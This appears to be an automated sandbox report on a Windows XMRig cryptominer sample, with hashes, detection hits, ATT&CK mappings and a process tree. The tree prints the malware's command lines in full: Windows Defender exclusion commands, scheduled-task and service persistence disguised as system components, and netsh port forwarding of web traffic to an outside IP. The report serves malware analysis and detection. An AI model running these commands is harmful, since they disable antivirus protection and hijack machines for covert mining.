xmrig | 816a567d88982870abddb54d4185a153ea2aa117ad7bc0996a0bd04af20f18a6

Analysis

max time kernel
21s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/08/2026, 01:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-27_f787ca5a24a2dfa99fd0f642235e5653_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
Size 7.5MB
Sample260828-bgh2fabe34
SHA256 816a567d88982870abddb54d4185a153ea2aa117ad7bc0996a0bd04af20f18a6
MD5 f787ca5a24a2dfa99fd0f642235e5653
SHA1 e3f80f38299a7dc82df88d899e1c1caf8e09ae1a
SHA512 c0af4676d23e4fcfebb2e9e6d2c47ac2120b49ce9c98ed12e927264877d3c0d07069c98779986538706aec42e4b26c0b000320a8d565872e84706b01be3cdf69
SSDEEP 98304:AMfTojyvFVYiZhPjogdiAX6UlORpQHYJCWLH7aWIuztvXvmSl96GxsazmBmd:AgsUHYciu6Ul2HJCWLhItSl9txsa62
TLSH
T1118601477CE518B5C0AEA2328A6695527A71BC480F3263DB3E90F37C2F72BD06A75750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 14 IoCs

miner

resource	yara_rule
behavioral2/files/0x0006000000016b3a-1.dat	family_xmrig
behavioral2/files/0x0006000000016b3a-1.dat	xmrig
behavioral2/files/0x001700000001c498-88.dat	family_xmrig
behavioral2/files/0x001700000001c498-88.dat	xmrig
behavioral2/memory/2148-111-0x00007FF6B8960000-0x00007FF6B934E000-memory.dmp	xmrig
behavioral2/memory/2148-112-0x00007FF6B8960000-0x00007FF6B934E000-memory.dmp	xmrig
behavioral2/memory/2148-122-0x00007FF6B8960000-0x00007FF6B934E000-memory.dmp	xmrig
behavioral2/memory/2148-131-0x00007FF6B8960000-0x00007FF6B934E000-memory.dmp	xmrig
behavioral2/memory/2148-147-0x00007FF6B8960000-0x00007FF6B934E000-memory.dmp	xmrig
behavioral2/memory/2148-158-0x00007FF6B8960000-0x00007FF6B934E000-memory.dmp	xmrig
behavioral2/memory/2148-169-0x00007FF6B8960000-0x00007FF6B934E000-memory.dmp	xmrig
behavioral2/memory/2148-182-0x00007FF6B8960000-0x00007FF6B934E000-memory.dmp	xmrig
behavioral2/files/0x001700000001c498-189.dat	family_xmrig
behavioral2/files/0x001700000001c498-189.dat	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 21 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1236	powershell.exe
3528	powershell.exe
4620	powershell.exe
1796	powershell.exe
1772	powershell.exe
5964	powershell.exe
5496	powershell.exe
3568	powershell.exe
4800	powershell.exe
3100	powershell.exe
376	powershell.exe
5356	powershell.exe
5316	powershell.exe
1108	powershell.exe
4656	powershell.exe
3568	powershell.exe
1440	powershell.exe
5172	powershell.exe
3308	powershell.exe
872	powershell.exe
5660	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
2292	.svc-1294397690

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	173.245.59.124
Destination IP	108.162.192.242

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3400	sc.exe
728	sc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3400	sc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2828	schtasks.exe
5588	schtasks.exe
4244	schtasks.exe
4516	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2292	.svc-1294397690
2292	.svc-1294397690
5496	powershell.exe
5496	powershell.exe
5172	powershell.exe
5172	powershell.exe
5172	powershell.exe
4656	powershell.exe
4656	powershell.exe
4656	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5496	powershell.exe
Token: SeIncreaseQuotaPrivilege	5496	powershell.exe
Token: SeSecurityPrivilege	5496	powershell.exe
Token: SeTakeOwnershipPrivilege	5496	powershell.exe
Token: SeLoadDriverPrivilege	5496	powershell.exe
Token: SeSystemProfilePrivilege	5496	powershell.exe
Token: SeSystemtimePrivilege	5496	powershell.exe
Token: SeProfSingleProcessPrivilege	5496	powershell.exe
Token: SeIncBasePriorityPrivilege	5496	powershell.exe
Token: SeCreatePagefilePrivilege	5496	powershell.exe
Token: SeBackupPrivilege	5496	powershell.exe
Token: SeRestorePrivilege	5496	powershell.exe
Token: SeShutdownPrivilege	5496	powershell.exe
Token: SeDebugPrivilege	5496	powershell.exe
Token: SeSystemEnvironmentPrivilege	5496	powershell.exe
Token: SeRemoteShutdownPrivilege	5496	powershell.exe
Token: SeUndockPrivilege	5496	powershell.exe
Token: SeManageVolumePrivilege	5496	powershell.exe
Token: 33	5496	powershell.exe
Token: 34	5496	powershell.exe
Token: 35	5496	powershell.exe
Token: 36	5496	powershell.exe
Token: SeDebugPrivilege	5172	powershell.exe
Token: SeIncreaseQuotaPrivilege	5172	powershell.exe
Token: SeSecurityPrivilege	5172	powershell.exe
Token: SeTakeOwnershipPrivilege	5172	powershell.exe
Token: SeLoadDriverPrivilege	5172	powershell.exe
Token: SeSystemProfilePrivilege	5172	powershell.exe
Token: SeSystemtimePrivilege	5172	powershell.exe
Token: SeProfSingleProcessPrivilege	5172	powershell.exe
Token: SeIncBasePriorityPrivilege	5172	powershell.exe
Token: SeCreatePagefilePrivilege	5172	powershell.exe
Token: SeBackupPrivilege	5172	powershell.exe
Token: SeRestorePrivilege	5172	powershell.exe
Token: SeShutdownPrivilege	5172	powershell.exe
Token: SeDebugPrivilege	5172	powershell.exe
Token: SeSystemEnvironmentPrivilege	5172	powershell.exe
Token: SeRemoteShutdownPrivilege	5172	powershell.exe
Token: SeUndockPrivilege	5172	powershell.exe
Token: SeManageVolumePrivilege	5172	powershell.exe
Token: 33	5172	powershell.exe
Token: 34	5172	powershell.exe
Token: 35	5172	powershell.exe
Token: 36	5172	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeIncreaseQuotaPrivilege	4656	powershell.exe
Token: SeSecurityPrivilege	4656	powershell.exe
Token: SeTakeOwnershipPrivilege	4656	powershell.exe
Token: SeLoadDriverPrivilege	4656	powershell.exe
Token: SeSystemProfilePrivilege	4656	powershell.exe
Token: SeSystemtimePrivilege	4656	powershell.exe
Token: SeProfSingleProcessPrivilege	4656	powershell.exe
Token: SeIncBasePriorityPrivilege	4656	powershell.exe
Token: SeCreatePagefilePrivilege	4656	powershell.exe
Token: SeBackupPrivilege	4656	powershell.exe
Token: SeRestorePrivilege	4656	powershell.exe
Token: SeShutdownPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeSystemEnvironmentPrivilege	4656	powershell.exe
Token: SeRemoteShutdownPrivilege	4656	powershell.exe
Token: SeUndockPrivilege	4656	powershell.exe
Token: SeManageVolumePrivilege	4656	powershell.exe
Token: 33	4656	powershell.exe
Token: 34	4656	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5992 wrote to memory of 2292	5992	2026-08-27_f787ca5a24a2dfa99fd0f642235e5653_frostygoop_hive_luca-stealer_salatstealer_sliver.exe	90
PID 2292 wrote to memory of 5496	2292	.svc-1294397690	91
PID 2292 wrote to memory of 5172	2292	.svc-1294397690	94
PID 2292 wrote to memory of 4656	2292	.svc-1294397690	96

C:\Users\Admin\AppData\Local\Temp\2026-08-27_f787ca5a24a2dfa99fd0f642235e5653_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-27_f787ca5a24a2dfa99fd0f642235e5653_frostygoop_hive_luca-stealer_salatstealer_sliver.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5992
- C:\Users\Admin\AppData\Local\Temp\.svc-1294397690
  C:\Users\Admin\AppData\Local\Temp\.svc-1294397690
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5496
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3100
- - C:\ProgramData\MiningApp\netsvcs\vltrig.exe
    C:\ProgramData\MiningApp\netsvcs\vltrig.exe --config=C:\ProgramData\MiningApp\netsvcs\config.json
    3⤵
    PID:2148
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn WindowsNetworkHelper /sc onstart /ru SYSTEM /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2828
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn WindowsNetworkHelperLogon /sc onlogon /ru SYSTEM /tr "\"C:\ProgramData\MiningBackup\RuntimeBroker.exe\" --guard" /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5588
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn WindowsNetworkHelperUser /sc onlogon /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4244
- - C:\Windows\system32\sc.exe
    sc create systemd-networkd-helper binPath= "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" start= auto depend= Themes/EventLog obj= LocalSystem
    3⤵
    - Launches sc.exe
    - System Time Discovery
    PID:3400
- - C:\Windows\system32\sc.exe
    sc start systemd-networkd-helper
    3⤵
    - Launches sc.exe
    PID:728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5660

C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe" --guard
1⤵
PID:4416
- C:\Windows\system32\netsh.exe
  netsh interface portproxy show v4tov4
  2⤵
  PID:1360
- C:\Windows\system32\netsh.exe
  netsh interface portproxy delete v4tov4 listenport=80 listenaddress=0.0.0.0
  2⤵
  PID:2580
- C:\Windows\system32\netsh.exe
  netsh interface portproxy delete v4tov4 listenport=443 listenaddress=0.0.0.0
  2⤵
  PID:3932
- C:\Windows\system32\netsh.exe
  netsh interface portproxy add v4tov4 listenport=80 listenaddress=0.0.0.0 connectport=80 connectaddress=45.205.25.134
  2⤵
  PID:3476
- C:\Windows\system32\netsh.exe
  netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectport=443 connectaddress=45.205.25.134
  2⤵
  PID:3484

C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe"
1⤵
PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5964
- C:\ProgramData\MiningApp\netsvcs\vltrig.exe
  C:\ProgramData\MiningApp\netsvcs\vltrig.exe --config=C:\ProgramData\MiningApp\netsvcs\config.json
  2⤵
  PID:2164
- C:\Windows\system32\schtasks.exe
  schtasks /create /f /tn WindowsNetworkHelper /sc onstart /ru SYSTEM /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" /rl HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 302B
SHA256 9b3092d26ff1356cc97043f7bbd83706c6f797d399b61e53f796ea729212e48c
MD5 d5a04d8f477c5f3552ccf2a5869d266f
SHA1 6c8d587c5f742f55f4f352b77ef9926833f4b5ef
SHA512 95a7e66afa1171d237814000091af50f2305138eff322db51bbe50f7d3bc17a1d4ebc1f6d76529df0435679386b1e76218546dfd3d1a3469a75b109c1c2857ea
TLSH
T10EE0C2BC02F75204AE8310CECBA16BDBFD45B031263D35B3B38D134A50180432CB6B01
MD5 SHA1 SHA512 TLSH

Submit Download

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 369B
SHA256 315f500b87e3ca34b96315c61ed91fb198e0100e51055679215e66a8a620e002
MD5 033bc11e667c1751e4c8ae8e24d1c93d
SHA1 bd2ae9dd1befb1ee3dc1e434d47cfaa70c40189c
SHA512 d38d498a194e744b5a8e69c04376d4b76b4a7a2b5a480615214fc559f31ced0756d757caee1d074b458be509a31e146a69205e5b9c7cb778718d07f4b3255022
TLSH
T17CE09AB842F66614AE93158ACBA16BEAED49B032262C29B6F78D124540184832EB5B01
MD5 SHA1 SHA512 TLSH

Submit Download

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 412B
SHA256 0050d5966daaa68d165868975e249375bf9a2ed2e72cdad4468661d29ff5ee38
MD5 1d74178d1647aeafa9576ae0ebad7901
SHA1 aca39a024af184d08b4c3837ac660afe002f9a56
SHA512 7b1854d7f9077532dd68e135325db676fb8b1f61a643d060474186f6ec7afb05195bc3d2692e50f70692db6927936035e7c4ca7ec0e1e5970f304d5b593ae2c5
TLSH
T1A1E0EDB842F25614AE9301CAC7B16BDAED49B132262C3572FB8D134680180832EB5A00
MD5 SHA1 SHA512 TLSH

Submit Download

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 244B
SHA256 a59060b6f0b2571486214fbbb33c65ec43f45fea43932c3bf892174b9963f185
MD5 aa27d19f47ce028753da0f3133eced79
SHA1 6fe544895d6da7bfe6344bf6828030a852bcb06d
SHA512 a6babba770798cdef55b565b88e0f6770f316f1aeb2c9036963d175096476b2fdc8a751b75cc79184cffe3faf0feb1a1cb3d7e184513756c20f82788e647e4b6
TLSH
T1B3D05EBC01F356049E4320DACB656BCAED46B032253D3572A34C124A50585433CB2B01
MD5 SHA1 SHA512 TLSH

Submit Download

.worker

Path C:\ProgramData\MiningApp\netsvcs\.worker
Size 19B
SHA256 b2b92b287faa748e101fb743afba33bcde603c2fd4cd5e1ad748f7d996675c00
MD5 087c8e38bf1d3cfc3c2f6435f916d7d3
SHA1 20e15c070ad4984f3f2528019cc54529b73d02ed
SHA512 c6eb697f9d7f5265ab02809ef2950b469ac30bbf8ac0f05fe06f5a5d855dc4ebe500f4c7ed29cad7cff427ec9bf554f56f8ac0bfa0726f3208bf4e1f78dd8cc7
MD5 SHA1 SHA512

Submit Download

config.json

Path C:\ProgramData\MiningApp\netsvcs\config.json
Size 547B
SHA256 7064921716616441f624c1a3fd4f1b629eab221524da77c0ac4c540eca876f31
MD5 30df3fa75322fbb4eac1156b5f4b2262
SHA1 376118ebc83f30308e03a9ccfdcc3c099185f316
SHA512 ff1e20ff46d2f4852b7e642c43834378088245b8b3742da6575656137771fd85af583acada57471d6a5c335f3c4117913aa10186fea625da0e6043c83278c7c6
TLSH
T127F08B25D934087B51E8383C16AB718317694E430A547DA4B62F831C3F4EB2EB4B5798
MD5 SHA1 SHA512 TLSH

Submit Download

vltrig.exe

Path C:\ProgramData\MiningApp\netsvcs\vltrig.exe
Size 7.5MB
SHA256 eb1467c5e37366f40fcd9347bf3971c24591ada0e071bfeeaa43df888a2af906
MD5 314fd08036a0bf61d05d48a0c2d27c1d
SHA1 e58e9e3fc283de2525087480c99a85dd7521ee98
SHA512 1b12cc961230d08a9994d9a716dca7a7fbd366a120c218af01e1c8ed597cc0594bacad7099a5232f73cbfc94d51c2036bfb1fe982c703ad6ef7868f6f3eeda99
SSDEEP 98304:AHVGR/6XB+CdbxlGMD70OMFqG0v6JODuRPCsj8Qkn5fj3EMstRbY+f5X:DGQNya4dWR8CX
TLSH
T1B0863B6BE0B720ECC66FD174835BA272BA31B46841347D7F6A94CB712F61E50176EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vltrig.exe

Path C:\ProgramData\MiningApp\netsvcs\vltrig.exe
Size 9.1MB
SHA256 b97f17ddf05123f3b16255f0deddf6da977eb612820250b3588780be0e1969b0
MD5 19242394bd3e7e5ffc0ac843178afd7c
SHA1 c70060ede712cb8540d97a6be14b1e9fd98d6db2
SHA512 e5b38d6fd4007e103a9e1d238b7a16a0b51868b2a9e332bf12a1915f0c44e10560750b8f2a2d734820afc20f009761b9b87dc005acf8b4cb4712eefdfc912b5c
SSDEEP 98304:AHVGR/6XB+CdbxlGMD70OMFqG0v6JODuRPCsj8Qkn5fj3EMstRbY+f5tJxS4x:DGQNya4dWR8Cta4
TLSH
T148A67C57F1A710ECC66BC1708257A772BA31B86801347E7F2A90DBB12F61E505F6EB24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download